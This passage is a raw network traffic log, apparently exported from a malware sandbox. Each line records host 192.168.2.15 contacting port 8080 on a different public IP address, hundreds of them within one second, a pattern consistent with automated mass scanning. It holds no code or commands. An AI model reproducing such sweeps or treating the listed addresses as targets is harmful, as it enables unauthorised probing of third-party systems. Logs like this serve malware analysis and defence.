                                                Nov 23, 2023 05:19:43.139018059 CET645068080192.168.2.1594.28.3.83
                                                Nov 23, 2023 05:19:43.139031887 CET645068080192.168.2.1594.142.7.137
                                                Nov 23, 2023 05:19:43.139033079 CET645068080192.168.2.1562.14.42.69
                                                Nov 23, 2023 05:19:43.139031887 CET645068080192.168.2.1562.122.143.61
                                                Nov 23, 2023 05:19:43.139035940 CET645068080192.168.2.1531.222.179.183
                                                Nov 23, 2023 05:19:43.139036894 CET645068080192.168.2.1585.59.142.116
                                                Nov 23, 2023 05:19:43.139036894 CET645068080192.168.2.1595.221.157.194
                                                Nov 23, 2023 05:19:43.139043093 CET645068080192.168.2.1595.46.244.107
                                                Nov 23, 2023 05:19:43.139043093 CET645068080192.168.2.1562.192.239.65
                                                Nov 23, 2023 05:19:43.139045954 CET645068080192.168.2.1594.167.78.70
                                                Nov 23, 2023 05:19:43.139048100 CET645068080192.168.2.1531.141.70.136
                                                Nov 23, 2023 05:19:43.139060974 CET645068080192.168.2.1585.230.220.215
                                                Nov 23, 2023 05:19:43.139062881 CET645068080192.168.2.1585.64.112.250
                                                Nov 23, 2023 05:19:43.139065981 CET645068080192.168.2.1585.39.60.220
                                                Nov 23, 2023 05:19:43.139069080 CET645068080192.168.2.1531.61.162.223
                                                Nov 23, 2023 05:19:43.139071941 CET645068080192.168.2.1585.187.25.4
                                                Nov 23, 2023 05:19:43.139081001 CET645068080192.168.2.1594.14.140.129
                                                Nov 23, 2023 05:19:43.139081001 CET645068080192.168.2.1562.9.94.198
                                                Nov 23, 2023 05:19:43.139081001 CET645068080192.168.2.1562.58.116.215
                                                Nov 23, 2023 05:19:43.139090061 CET645068080192.168.2.1595.21.64.230
                                                Nov 23, 2023 05:19:43.139097929 CET645068080192.168.2.1594.40.231.165
                                                Nov 23, 2023 05:19:43.139100075 CET645068080192.168.2.1531.114.254.77
                                                Nov 23, 2023 05:19:43.139102936 CET645068080192.168.2.1594.34.176.45
                                                Nov 23, 2023 05:19:43.139102936 CET645068080192.168.2.1531.52.161.89
                                                Nov 23, 2023 05:19:43.139115095 CET645068080192.168.2.1585.182.94.6
                                                Nov 23, 2023 05:19:43.139116049 CET645068080192.168.2.1531.244.230.231
                                                Nov 23, 2023 05:19:43.139117956 CET645068080192.168.2.1562.176.249.5
                                                Nov 23, 2023 05:19:43.139125109 CET645068080192.168.2.1585.8.205.249
                                                Nov 23, 2023 05:19:43.139128923 CET645068080192.168.2.1594.121.192.112
                                                Nov 23, 2023 05:19:43.139131069 CET645068080192.168.2.1595.86.115.37
                                                Nov 23, 2023 05:19:43.139132977 CET645068080192.168.2.1594.177.249.1
                                                Nov 23, 2023 05:19:43.139142036 CET645068080192.168.2.1531.33.25.88
                                                Nov 23, 2023 05:19:43.139142036 CET645068080192.168.2.1595.169.45.102
                                                Nov 23, 2023 05:19:43.139153004 CET645068080192.168.2.1562.91.11.51
                                                Nov 23, 2023 05:19:43.139153004 CET645068080192.168.2.1594.146.216.47
                                                Nov 23, 2023 05:19:43.139153004 CET645068080192.168.2.1562.201.39.153
                                                Nov 23, 2023 05:19:43.139162064 CET645068080192.168.2.1531.151.202.21
                                                Nov 23, 2023 05:19:43.139162064 CET645068080192.168.2.1594.90.166.85
                                                Nov 23, 2023 05:19:43.139162064 CET645068080192.168.2.1595.96.86.112
                                                Nov 23, 2023 05:19:43.139163971 CET645068080192.168.2.1594.139.171.71
                                                Nov 23, 2023 05:19:43.139163971 CET645068080192.168.2.1562.236.8.69
                                                Nov 23, 2023 05:19:43.139170885 CET645068080192.168.2.1594.243.4.191
                                                Nov 23, 2023 05:19:43.139175892 CET645068080192.168.2.1585.185.20.152
                                                Nov 23, 2023 05:19:43.139180899 CET645068080192.168.2.1562.235.118.249
                                                Nov 23, 2023 05:19:43.139180899 CET645068080192.168.2.1585.38.105.140
                                                Nov 23, 2023 05:19:43.139185905 CET645068080192.168.2.1594.146.234.233
                                                Nov 23, 2023 05:19:43.139185905 CET645068080192.168.2.1585.173.239.137
                                                Nov 23, 2023 05:19:43.139193058 CET645068080192.168.2.1595.180.102.221
                                                Nov 23, 2023 05:19:43.139197111 CET645068080192.168.2.1585.135.188.234
                                                Nov 23, 2023 05:19:43.139198065 CET645068080192.168.2.1531.232.242.237
                                                Nov 23, 2023 05:19:43.139198065 CET645068080192.168.2.1594.172.112.45
                                                Nov 23, 2023 05:19:43.139198065 CET645068080192.168.2.1595.211.192.177
                                                Nov 23, 2023 05:19:43.139206886 CET645068080192.168.2.1562.61.1.13
                                                Nov 23, 2023 05:19:43.139210939 CET645068080192.168.2.1595.3.190.211
                                                Nov 23, 2023 05:19:43.139214039 CET645068080192.168.2.1585.221.204.159
                                                Nov 23, 2023 05:19:43.139214993 CET645068080192.168.2.1585.85.157.105
                                                Nov 23, 2023 05:19:43.139228106 CET645068080192.168.2.1562.25.239.103
                                                Nov 23, 2023 05:19:43.139231920 CET645068080192.168.2.1562.188.108.14
                                                Nov 23, 2023 05:19:43.139231920 CET645068080192.168.2.1594.106.6.64
                                                Nov 23, 2023 05:19:43.139245033 CET645068080192.168.2.1585.231.58.33
                                                Nov 23, 2023 05:19:43.139245033 CET645068080192.168.2.1594.207.149.250
                                                Nov 23, 2023 05:19:43.139245033 CET645068080192.168.2.1594.102.6.126
                                                Nov 23, 2023 05:19:43.139247894 CET645068080192.168.2.1585.229.253.12
                                                Nov 23, 2023 05:19:43.139247894 CET645068080192.168.2.1562.203.182.177
                                                Nov 23, 2023 05:19:43.139254093 CET645068080192.168.2.1585.163.255.114
                                                Nov 23, 2023 05:19:43.139261961 CET645068080192.168.2.1531.148.113.152
                                                Nov 23, 2023 05:19:43.139262915 CET645068080192.168.2.1562.53.198.188
                                                Nov 23, 2023 05:19:43.139266014 CET645068080192.168.2.1531.220.37.31
                                                Nov 23, 2023 05:19:43.139272928 CET645068080192.168.2.1531.146.112.210
                                                Nov 23, 2023 05:19:43.139272928 CET645068080192.168.2.1585.70.225.67
                                                Nov 23, 2023 05:19:43.139280081 CET645068080192.168.2.1562.234.158.46
                                                Nov 23, 2023 05:19:43.139287949 CET645068080192.168.2.1562.83.114.76
                                                Nov 23, 2023 05:19:43.139295101 CET645068080192.168.2.1585.61.128.141
                                                Nov 23, 2023 05:19:43.139297009 CET645068080192.168.2.1562.73.160.48
                                                Nov 23, 2023 05:19:43.139307976 CET645068080192.168.2.1595.250.100.116
                                                Nov 23, 2023 05:19:43.139308929 CET645068080192.168.2.1595.141.50.199
                                                Nov 23, 2023 05:19:43.139309883 CET645068080192.168.2.1531.49.132.42
                                                Nov 23, 2023 05:19:43.139313936 CET645068080192.168.2.1585.112.224.62
                                                Nov 23, 2023 05:19:43.139321089 CET645068080192.168.2.1585.240.149.6
                                                Nov 23, 2023 05:19:43.139333963 CET645068080192.168.2.1595.77.213.131
                                                Nov 23, 2023 05:19:43.139333963 CET645068080192.168.2.1531.146.254.141
                                                Nov 23, 2023 05:19:43.139338017 CET645068080192.168.2.1595.217.4.150
                                                Nov 23, 2023 05:19:43.139338017 CET645068080192.168.2.1585.25.12.202
                                                Nov 23, 2023 05:19:43.139338017 CET645068080192.168.2.1595.83.8.3
                                                Nov 23, 2023 05:19:43.139338017 CET645068080192.168.2.1562.142.129.5
                                                Nov 23, 2023 05:19:43.139348030 CET645068080192.168.2.1595.162.179.145
                                                Nov 23, 2023 05:19:43.139353991 CET645068080192.168.2.1585.209.230.20
                                                Nov 23, 2023 05:19:43.139355898 CET645068080192.168.2.1595.85.208.56
                                                Nov 23, 2023 05:19:43.139355898 CET645068080192.168.2.1595.166.213.227
                                                Nov 23, 2023 05:19:43.139364004 CET645068080192.168.2.1594.206.223.65
                                                Nov 23, 2023 05:19:43.139365911 CET645068080192.168.2.1594.9.142.171
                                                Nov 23, 2023 05:19:43.139374971 CET645068080192.168.2.1595.163.99.187
                                                Nov 23, 2023 05:19:43.139377117 CET645068080192.168.2.1562.79.159.222
                                                Nov 23, 2023 05:19:43.139379025 CET645068080192.168.2.1595.63.249.250
                                                Nov 23, 2023 05:19:43.139389038 CET645068080192.168.2.1595.225.160.156
                                                Nov 23, 2023 05:19:43.139390945 CET645068080192.168.2.1531.107.44.254
                                                Nov 23, 2023 05:19:43.139390945 CET645068080192.168.2.1595.132.2.172
                                                Nov 23, 2023 05:19:43.139390945 CET645068080192.168.2.1585.177.76.55
                                                Nov 23, 2023 05:19:43.139393091 CET645068080192.168.2.1594.178.12.16
                                                Nov 23, 2023 05:19:43.139393091 CET645068080192.168.2.1594.133.12.229
                                                Nov 23, 2023 05:19:43.139394999 CET645068080192.168.2.1594.24.58.232
                                                Nov 23, 2023 05:19:43.139396906 CET645068080192.168.2.1562.248.42.220
                                                Nov 23, 2023 05:19:43.139415026 CET645068080192.168.2.1594.92.139.49
                                                Nov 23, 2023 05:19:43.139420033 CET645068080192.168.2.1531.219.8.225
                                                Nov 23, 2023 05:19:43.139421940 CET645068080192.168.2.1595.41.205.193
                                                Nov 23, 2023 05:19:43.139421940 CET645068080192.168.2.1531.192.165.221
                                                Nov 23, 2023 05:19:43.139422894 CET645068080192.168.2.1595.145.215.173
                                                Nov 23, 2023 05:19:43.139429092 CET645068080192.168.2.1595.55.66.77
                                                Nov 23, 2023 05:19:43.139431000 CET645068080192.168.2.1562.205.0.75
                                                Nov 23, 2023 05:19:43.139431000 CET645068080192.168.2.1595.246.122.28
                                                Nov 23, 2023 05:19:43.139432907 CET645068080192.168.2.1531.207.74.153
                                                Nov 23, 2023 05:19:43.139444113 CET645068080192.168.2.1531.170.49.163
                                                Nov 23, 2023 05:19:43.139447927 CET645068080192.168.2.1531.87.75.238
                                                Nov 23, 2023 05:19:43.139447927 CET645068080192.168.2.1562.173.47.117
                                                Nov 23, 2023 05:19:43.139450073 CET645068080192.168.2.1562.174.163.150
                                                Nov 23, 2023 05:19:43.139450073 CET645068080192.168.2.1531.35.33.205
                                                Nov 23, 2023 05:19:43.139450073 CET645068080192.168.2.1585.155.120.151
                                                Nov 23, 2023 05:19:43.139465094 CET645068080192.168.2.1595.223.197.131
                                                Nov 23, 2023 05:19:43.139467955 CET645068080192.168.2.1594.4.177.136
                                                Nov 23, 2023 05:19:43.139467955 CET645068080192.168.2.1531.43.3.240
                                                Nov 23, 2023 05:19:43.139467955 CET645068080192.168.2.1531.167.88.8
                                                Nov 23, 2023 05:19:43.139472961 CET645068080192.168.2.1531.184.187.123
                                                Nov 23, 2023 05:19:43.139478922 CET645068080192.168.2.1595.126.214.136
                                                Nov 23, 2023 05:19:43.139481068 CET645068080192.168.2.1594.129.223.164
                                                Nov 23, 2023 05:19:43.139481068 CET645068080192.168.2.1562.119.173.31
                                                Nov 23, 2023 05:19:43.139481068 CET645068080192.168.2.1531.252.139.136
                                                Nov 23, 2023 05:19:43.139491081 CET645068080192.168.2.1595.237.184.248
                                                Nov 23, 2023 05:19:43.139491081 CET645068080192.168.2.1585.50.99.112
                                                Nov 23, 2023 05:19:43.139503002 CET645068080192.168.2.1585.214.226.14
                                                Nov 23, 2023 05:19:43.139506102 CET645068080192.168.2.1562.159.187.86
                                                Nov 23, 2023 05:19:43.139507055 CET645068080192.168.2.1585.189.163.219
                                                Nov 23, 2023 05:19:43.139523029 CET645068080192.168.2.1562.193.14.110
                                                Nov 23, 2023 05:19:43.139523029 CET645068080192.168.2.1594.223.225.36
                                                Nov 23, 2023 05:19:43.139525890 CET645068080192.168.2.1595.63.61.50
                                                Nov 23, 2023 05:19:43.139527082 CET645068080192.168.2.1585.206.33.142
                                                Nov 23, 2023 05:19:43.139538050 CET645068080192.168.2.1595.167.107.30
                                                Nov 23, 2023 05:19:43.139538050 CET645068080192.168.2.1595.239.246.38
                                                Nov 23, 2023 05:19:43.139544010 CET645068080192.168.2.1594.172.145.129
                                                Nov 23, 2023 05:19:43.139547110 CET645068080192.168.2.1595.10.253.179
                                                Nov 23, 2023 05:19:43.139547110 CET645068080192.168.2.1562.7.198.114
                                                Nov 23, 2023 05:19:43.139553070 CET645068080192.168.2.1594.59.83.229
                                                Nov 23, 2023 05:19:43.139553070 CET645068080192.168.2.1585.169.149.217
                                                Nov 23, 2023 05:19:43.139559031 CET645068080192.168.2.1594.108.114.237
                                                Nov 23, 2023 05:19:43.139564037 CET645068080192.168.2.1594.65.238.54
                                                Nov 23, 2023 05:19:43.139566898 CET645068080192.168.2.1531.211.11.247
                                                Nov 23, 2023 05:19:43.139570951 CET645068080192.168.2.1531.109.228.176
                                                Nov 23, 2023 05:19:43.139570951 CET645068080192.168.2.1595.141.226.8
                                                Nov 23, 2023 05:19:43.139579058 CET645068080192.168.2.1585.137.160.249
                                                Nov 23, 2023 05:19:43.139581919 CET645068080192.168.2.1595.11.206.141
                                                Nov 23, 2023 05:19:43.139581919 CET645068080192.168.2.1585.18.132.122
                                                Nov 23, 2023 05:19:43.139590979 CET645068080192.168.2.1585.104.232.71
                                                Nov 23, 2023 05:19:43.139592886 CET645068080192.168.2.1562.22.164.85
                                                Nov 23, 2023 05:19:43.139596939 CET645068080192.168.2.1531.215.67.190
                                                Nov 23, 2023 05:19:43.139596939 CET645068080192.168.2.1585.98.186.64
                                                Nov 23, 2023 05:19:43.139612913 CET645068080192.168.2.1594.159.164.8
                                                Nov 23, 2023 05:19:43.139617920 CET645068080192.168.2.1585.36.33.67
                                                Nov 23, 2023 05:19:43.139617920 CET645068080192.168.2.1594.246.85.90
                                                Nov 23, 2023 05:19:43.139619112 CET645068080192.168.2.1562.224.197.40
                                                Nov 23, 2023 05:19:43.139622927 CET645068080192.168.2.1594.164.164.14
                                                Nov 23, 2023 05:19:43.139622927 CET645068080192.168.2.1594.101.225.182
                                                Nov 23, 2023 05:19:43.139631987 CET645068080192.168.2.1562.76.70.222
                                                Nov 23, 2023 05:19:43.139636040 CET645068080192.168.2.1531.20.163.165
                                                Nov 23, 2023 05:19:43.139636040 CET645068080192.168.2.1562.161.1.147
                                                Nov 23, 2023 05:19:43.139642954 CET645068080192.168.2.1585.200.22.174
                                                Nov 23, 2023 05:19:43.139657974 CET645068080192.168.2.1585.224.14.23
                                                Nov 23, 2023 05:19:43.139659882 CET645068080192.168.2.1585.149.110.116
                                                Nov 23, 2023 05:19:43.139662981 CET645068080192.168.2.1531.193.214.121
                                                Nov 23, 2023 05:19:43.139674902 CET645068080192.168.2.1562.63.91.53
                                                Nov 23, 2023 05:19:43.139674902 CET645068080192.168.2.1594.247.193.9
                                                Nov 23, 2023 05:19:43.139676094 CET645068080192.168.2.1594.169.19.80
                                                Nov 23, 2023 05:19:43.139686108 CET645068080192.168.2.1562.60.17.40
                                                Nov 23, 2023 05:19:43.139692068 CET645068080192.168.2.1595.9.112.207
                                                Nov 23, 2023 05:19:43.139692068 CET645068080192.168.2.1595.49.50.85
                                                Nov 23, 2023 05:19:43.139692068 CET645068080192.168.2.1595.219.81.119
                                                Nov 23, 2023 05:19:43.139700890 CET645068080192.168.2.1562.37.12.168
                                                Nov 23, 2023 05:19:43.139708042 CET645068080192.168.2.1594.86.102.68
                                                Nov 23, 2023 05:19:43.139712095 CET645068080192.168.2.1531.104.42.91
                                                Nov 23, 2023 05:19:43.139712095 CET645068080192.168.2.1562.117.239.116
                                                Nov 23, 2023 05:19:43.139719009 CET645068080192.168.2.1585.33.208.183
                                                Nov 23, 2023 05:19:43.139723063 CET645068080192.168.2.1595.117.50.88
                                                Nov 23, 2023 05:19:43.139724970 CET645068080192.168.2.1594.227.80.105
                                                Nov 23, 2023 05:19:43.139724970 CET645068080192.168.2.1562.29.47.34
                                                Nov 23, 2023 05:19:43.139725924 CET645068080192.168.2.1531.129.100.107
                                                Nov 23, 2023 05:19:43.139729023 CET645068080192.168.2.1531.67.125.71
                                                Nov 23, 2023 05:19:43.139729023 CET645068080192.168.2.1595.90.205.194
                                                Nov 23, 2023 05:19:43.139729023 CET645068080192.168.2.1594.83.108.92
                                                Nov 23, 2023 05:19:43.139735937 CET645068080192.168.2.1531.225.244.89
                                                Nov 23, 2023 05:19:43.139751911 CET645068080192.168.2.1585.9.120.31
                                                Nov 23, 2023 05:19:43.139751911 CET645068080192.168.2.1594.6.2.185
                                                Nov 23, 2023 05:19:43.139763117 CET645068080192.168.2.1594.98.248.250
                                                Nov 23, 2023 05:19:43.139763117 CET645068080192.168.2.1562.201.188.0
                                                Nov 23, 2023 05:19:43.139764071 CET645068080192.168.2.1594.35.186.249
                                                Nov 23, 2023 05:19:43.139770985 CET645068080192.168.2.1585.152.95.202
                                                Nov 23, 2023 05:19:43.139772892 CET645068080192.168.2.1585.105.77.62
                                                Nov 23, 2023 05:19:43.139772892 CET645068080192.168.2.1585.126.55.35
                                                Nov 23, 2023 05:19:43.139775991 CET645068080192.168.2.1595.184.216.163
                                                Nov 23, 2023 05:19:43.139786959 CET645068080192.168.2.1562.213.141.209
                                                Nov 23, 2023 05:19:43.139786959 CET645068080192.168.2.1595.248.120.7
                                                Nov 23, 2023 05:19:43.139789104 CET645068080192.168.2.1531.231.106.19
                                                Nov 23, 2023 05:19:43.139791012 CET645068080192.168.2.1531.137.238.204
                                                Nov 23, 2023 05:19:43.139791012 CET645068080192.168.2.1595.8.145.247
                                                Nov 23, 2023 05:19:43.139794111 CET645068080192.168.2.1595.93.166.78
                                                Nov 23, 2023 05:19:43.139821053 CET645068080192.168.2.1531.171.216.105
                                                Nov 23, 2023 05:19:43.139821053 CET645068080192.168.2.1594.4.254.0
                                                Nov 23, 2023 05:19:43.139822006 CET645068080192.168.2.1585.107.62.234
                                                Nov 23, 2023 05:19:43.139827013 CET645068080192.168.2.1531.68.245.7
                                                Nov 23, 2023 05:19:43.139827013 CET645068080192.168.2.1562.172.219.18
                                                Nov 23, 2023 05:19:43.139827013 CET645068080192.168.2.1585.88.177.169
                                                Nov 23, 2023 05:19:43.139830112 CET645068080192.168.2.1594.209.24.102
                                                Nov 23, 2023 05:19:43.139847040 CET645068080192.168.2.1531.136.172.211
                                                Nov 23, 2023 05:19:43.139847040 CET645068080192.168.2.1594.87.138.229
                                                Nov 23, 2023 05:19:43.139847994 CET645068080192.168.2.1585.67.24.137
                                                Nov 23, 2023 05:19:43.139854908 CET645068080192.168.2.1562.157.107.109
                                                Nov 23, 2023 05:19:43.139859915 CET645068080192.168.2.1562.214.236.137
                                                Nov 23, 2023 05:19:43.139862061 CET645068080192.168.2.1562.18.255.193
                                                Nov 23, 2023 05:19:43.139862061 CET645068080192.168.2.1585.146.217.66
                                                Nov 23, 2023 05:19:43.139862061 CET645068080192.168.2.1585.146.27.92
                                                Nov 23, 2023 05:19:43.139867067 CET645068080192.168.2.1562.250.18.217
                                                Nov 23, 2023 05:19:43.139878035 CET645068080192.168.2.1595.246.98.217
                                                Nov 23, 2023 05:19:43.139879942 CET645068080192.168.2.1562.36.34.242
                                                Nov 23, 2023 05:19:43.139882088 CET645068080192.168.2.1531.58.127.176
                                                Nov 23, 2023 05:19:43.139890909 CET645068080192.168.2.1562.130.106.132
                                                Nov 23, 2023 05:19:43.139890909 CET645068080192.168.2.1562.36.230.137
                                                Nov 23, 2023 05:19:43.139893055 CET645068080192.168.2.1531.144.239.253
                                                Nov 23, 2023 05:19:43.139897108 CET645068080192.168.2.1531.76.69.202
                                                Nov 23, 2023 05:19:43.139898062 CET645068080192.168.2.1585.208.165.45
                                                Nov 23, 2023 05:19:43.139899015 CET645068080192.168.2.1594.186.233.119
                                                Nov 23, 2023 05:19:43.139904022 CET645068080192.168.2.1595.191.174.67
                                                Nov 23, 2023 05:19:43.139904976 CET645068080192.168.2.1594.210.154.0
                                                Nov 23, 2023 05:19:43.139904976 CET645068080192.168.2.1562.51.221.50
                                                Nov 23, 2023 05:19:43.139908075 CET645068080192.168.2.1595.215.117.29
                                                Nov 23, 2023 05:19:43.139921904 CET645068080192.168.2.1585.215.120.6
                                                Nov 23, 2023 05:19:43.139925003 CET645068080192.168.2.1594.18.67.25
                                                Nov 23, 2023 05:19:43.139930010 CET645068080192.168.2.1595.254.89.39
                                                Nov 23, 2023 05:19:43.139935017 CET645068080192.168.2.1531.208.33.237
                                                Nov 23, 2023 05:19:43.139939070 CET645068080192.168.2.1595.155.10.180
                                                Nov 23, 2023 05:19:43.139955997 CET645068080192.168.2.1531.224.149.198
                                                Nov 23, 2023 05:19:43.139955997 CET645068080192.168.2.1562.246.238.20
                                                Nov 23, 2023 05:19:43.139961004 CET645068080192.168.2.1594.201.142.188
                                                Nov 23, 2023 05:19:43.139961004 CET645068080192.168.2.1594.96.179.8
                                                Nov 23, 2023 05:19:43.139961004 CET645068080192.168.2.1595.165.77.14
                                                Nov 23, 2023 05:19:43.139961004 CET645068080192.168.2.1562.251.41.131
                                                Nov 23, 2023 05:19:43.139961004 CET645068080192.168.2.1594.61.134.236
                                                Nov 23, 2023 05:19:43.139966011 CET645068080192.168.2.1562.64.90.61
                                                Nov 23, 2023 05:19:43.139966011 CET645068080192.168.2.1585.61.219.185
                                                Nov 23, 2023 05:19:43.139971018 CET645068080192.168.2.1531.98.184.252
                                                Nov 23, 2023 05:19:43.139986038 CET645068080192.168.2.1594.59.129.229
                                                Nov 23, 2023 05:19:43.139986038 CET645068080192.168.2.1595.141.175.224
                                                Nov 23, 2023 05:19:43.139993906 CET645068080192.168.2.1531.142.181.7
                                                Nov 23, 2023 05:19:43.139995098 CET645068080192.168.2.1594.42.188.113
                                                Nov 23, 2023 05:19:43.139995098 CET645068080192.168.2.1595.160.154.72
                                                Nov 23, 2023 05:19:43.139996052 CET645068080192.168.2.1585.72.73.179
                                                Nov 23, 2023 05:19:43.139997005 CET645068080192.168.2.1585.170.217.222
                                                Nov 23, 2023 05:19:43.140003920 CET645068080192.168.2.1594.78.102.226
                                                Nov 23, 2023 05:19:43.140007973 CET645068080192.168.2.1595.25.202.13
                                                Nov 23, 2023 05:19:43.140011072 CET645068080192.168.2.1595.149.0.193
                                                Nov 23, 2023 05:19:43.140011072 CET645068080192.168.2.1585.252.241.196
                                                Nov 23, 2023 05:19:43.140013933 CET645068080192.168.2.1595.188.63.163
                                                Nov 23, 2023 05:19:43.140018940 CET645068080192.168.2.1595.63.73.106
                                                Nov 23, 2023 05:19:43.140018940 CET645068080192.168.2.1585.100.120.74
                                                Nov 23, 2023 05:19:43.140018940 CET645068080192.168.2.1594.238.203.104
                                                Nov 23, 2023 05:19:43.140022039 CET645068080192.168.2.1562.72.244.253
                                                Nov 23, 2023 05:19:43.140018940 CET645068080192.168.2.1562.80.191.121
                                                Nov 23, 2023 05:19:43.140018940 CET645068080192.168.2.1595.16.148.227
                                                Nov 23, 2023 05:19:43.140018940 CET645068080192.168.2.1595.160.222.206
                                                Nov 23, 2023 05:19:43.140028000 CET645068080192.168.2.1562.116.20.20
                                                Nov 23, 2023 05:19:43.140028000 CET645068080192.168.2.1562.12.122.180
                                                Nov 23, 2023 05:19:43.140028954 CET645068080192.168.2.1531.184.138.253
                                                Nov 23, 2023 05:19:43.140028954 CET645068080192.168.2.1595.18.186.176
                                                Nov 23, 2023 05:19:43.140037060 CET645068080192.168.2.1595.185.119.151
                                                Nov 23, 2023 05:19:43.140041113 CET645068080192.168.2.1585.175.35.120
                                                Nov 23, 2023 05:19:43.140042067 CET645068080192.168.2.1531.12.230.146
                                                Nov 23, 2023 05:19:43.140053034 CET645068080192.168.2.1594.83.143.133
                                                Nov 23, 2023 05:19:43.140053034 CET645068080192.168.2.1585.103.91.202
                                                Nov 23, 2023 05:19:43.140067101 CET645068080192.168.2.1585.70.83.63
                                                Nov 23, 2023 05:19:43.140070915 CET645068080192.168.2.1562.185.89.105
                                                Nov 23, 2023 05:19:43.140075922 CET645068080192.168.2.1531.34.79.220
                                                Nov 23, 2023 05:19:43.140081882 CET645068080192.168.2.1531.188.187.100
                                                Nov 23, 2023 05:19:43.140083075 CET645068080192.168.2.1595.70.90.165
                                                Nov 23, 2023 05:19:43.140081882 CET645068080192.168.2.1562.171.163.88
                                                Nov 23, 2023 05:19:43.140081882 CET645068080192.168.2.1594.124.30.84
                                                Nov 23, 2023 05:19:43.140081882 CET645068080192.168.2.1562.177.6.45
                                                Nov 23, 2023 05:19:43.140081882 CET645068080192.168.2.1531.163.126.12
                                                Nov 23, 2023 05:19:43.140094995 CET645068080192.168.2.1595.176.241.122
                                                Nov 23, 2023 05:19:43.140100956 CET645068080192.168.2.1562.188.200.110
                                                Nov 23, 2023 05:19:43.140104055 CET645068080192.168.2.1562.188.139.208
                                                Nov 23, 2023 05:19:43.140110970 CET645068080192.168.2.1594.213.57.194
                                                Nov 23, 2023 05:19:43.140120983 CET645068080192.168.2.1585.211.45.92
                                                Nov 23, 2023 05:19:43.140120983 CET645068080192.168.2.1562.232.98.59
                                                Nov 23, 2023 05:19:43.140124083 CET645068080192.168.2.1585.239.42.44
                                                Nov 23, 2023 05:19:43.140126944 CET645068080192.168.2.1595.169.94.216
                                                Nov 23, 2023 05:19:43.140131950 CET645068080192.168.2.1585.75.180.117
                                                Nov 23, 2023 05:19:43.140131950 CET645068080192.168.2.1562.14.244.30
                                                Nov 23, 2023 05:19:43.140132904 CET645068080192.168.2.1594.67.69.183
                                                Nov 23, 2023 05:19:43.140132904 CET645068080192.168.2.1585.105.6.7
                                                Nov 23, 2023 05:19:43.140132904 CET645068080192.168.2.1531.129.93.108
                                                Nov 23, 2023 05:19:43.140132904 CET645068080192.168.2.1562.96.67.142
                                                Nov 23, 2023 05:19:43.140144110 CET645068080192.168.2.1595.231.143.95
                                                Nov 23, 2023 05:19:43.140146017 CET645068080192.168.2.1585.187.198.75
                                                Nov 23, 2023 05:19:43.140151024 CET645068080192.168.2.1531.109.55.164
                                                Nov 23, 2023 05:19:43.140161037 CET645068080192.168.2.1594.204.166.27
                                                Nov 23, 2023 05:19:43.140161037 CET645068080192.168.2.1585.73.45.242
                                                Nov 23, 2023 05:19:43.140162945 CET645068080192.168.2.1531.112.74.113
                                                Nov 23, 2023 05:19:43.140166044 CET645068080192.168.2.1595.115.25.136
                                                Nov 23, 2023 05:19:43.140166998 CET645068080192.168.2.1531.255.224.187
                                                Nov 23, 2023 05:19:43.140166998 CET645068080192.168.2.1531.64.63.129
                                                Nov 23, 2023 05:19:43.140172005 CET645068080192.168.2.1594.166.14.230
                                                Nov 23, 2023 05:19:43.140172005 CET645068080192.168.2.1594.78.129.241
                                                Nov 23, 2023 05:19:43.140172958 CET645068080192.168.2.1531.243.202.75
                                                Nov 23, 2023 05:19:43.140189886 CET645068080192.168.2.1585.207.205.63
                                                Nov 23, 2023 05:19:43.140193939 CET645068080192.168.2.1595.208.173.37
                                                Nov 23, 2023 05:19:43.140193939 CET645068080192.168.2.1585.74.32.172
                                                Nov 23, 2023 05:19:43.140197039 CET645068080192.168.2.1594.187.108.18
                                                Nov 23, 2023 05:19:43.140202999 CET645068080192.168.2.1531.33.214.149
                                                Nov 23, 2023 05:19:43.140209913 CET645068080192.168.2.1531.21.135.228
                                                Nov 23, 2023 05:19:43.140209913 CET645068080192.168.2.1585.66.129.240
                                                Nov 23, 2023 05:19:43.140213966 CET645068080192.168.2.1585.44.3.60
                                                Nov 23, 2023 05:19:43.140213966 CET645068080192.168.2.1531.135.49.168
                                                Nov 23, 2023 05:19:43.140221119 CET645068080192.168.2.1594.63.34.32
                                                Nov 23, 2023 05:19:43.140222073 CET645068080192.168.2.1595.58.12.230
                                                Nov 23, 2023 05:19:43.140222073 CET645068080192.168.2.1595.167.119.159
                                                Nov 23, 2023 05:19:43.140223026 CET645068080192.168.2.1594.215.105.230
                                                Nov 23, 2023 05:19:43.140233994 CET645068080192.168.2.1585.123.124.167
                                                Nov 23, 2023 05:19:43.140234947 CET645068080192.168.2.1594.176.228.204
                                                Nov 23, 2023 05:19:43.140238047 CET645068080192.168.2.1562.200.133.252
                                                Nov 23, 2023 05:19:43.140247107 CET645068080192.168.2.1594.130.101.135
                                                Nov 23, 2023 05:19:43.140247107 CET645068080192.168.2.1594.9.150.36
                                                Nov 23, 2023 05:19:43.140269041 CET645068080192.168.2.1594.181.34.74
                                                Nov 23, 2023 05:19:43.140273094 CET645068080192.168.2.1531.32.88.103
                                                Nov 23, 2023 05:19:43.140273094 CET645068080192.168.2.1585.216.190.149
                                                Nov 23, 2023 05:19:43.140274048 CET645068080192.168.2.1595.168.133.91
                                                Nov 23, 2023 05:19:43.140274048 CET645068080192.168.2.1531.89.190.211
                                                Nov 23, 2023 05:19:43.140275002 CET645068080192.168.2.1562.249.95.18
                                                Nov 23, 2023 05:19:43.140275002 CET645068080192.168.2.1594.89.228.15
                                                Nov 23, 2023 05:19:43.140278101 CET645068080192.168.2.1531.236.58.21
                                                Nov 23, 2023 05:19:43.140285969 CET645068080192.168.2.1562.29.141.112
                                                Nov 23, 2023 05:19:43.140285969 CET645068080192.168.2.1531.14.176.52
                                                Nov 23, 2023 05:19:43.140285969 CET645068080192.168.2.1562.0.124.165
                                                Nov 23, 2023 05:19:43.140285969 CET645068080192.168.2.1531.166.164.34
                                                Nov 23, 2023 05:19:43.140288115 CET645068080192.168.2.1595.36.28.139
                                                Nov 23, 2023 05:19:43.140292883 CET645068080192.168.2.1594.254.32.159
                                                Nov 23, 2023 05:19:43.140306950 CET645068080192.168.2.1595.231.229.226
                                                Nov 23, 2023 05:19:43.140310049 CET645068080192.168.2.1595.0.165.251
                                                Nov 23, 2023 05:19:43.140319109 CET645068080192.168.2.1594.194.113.195
                                                Nov 23, 2023 05:19:43.140322924 CET645068080192.168.2.1531.128.171.251
                                                Nov 23, 2023 05:19:43.140322924 CET645068080192.168.2.1594.86.63.65
                                                Nov 23, 2023 05:19:43.140328884 CET645068080192.168.2.1595.245.41.224
                                                Nov 23, 2023 05:19:43.140328884 CET645068080192.168.2.1595.72.138.61
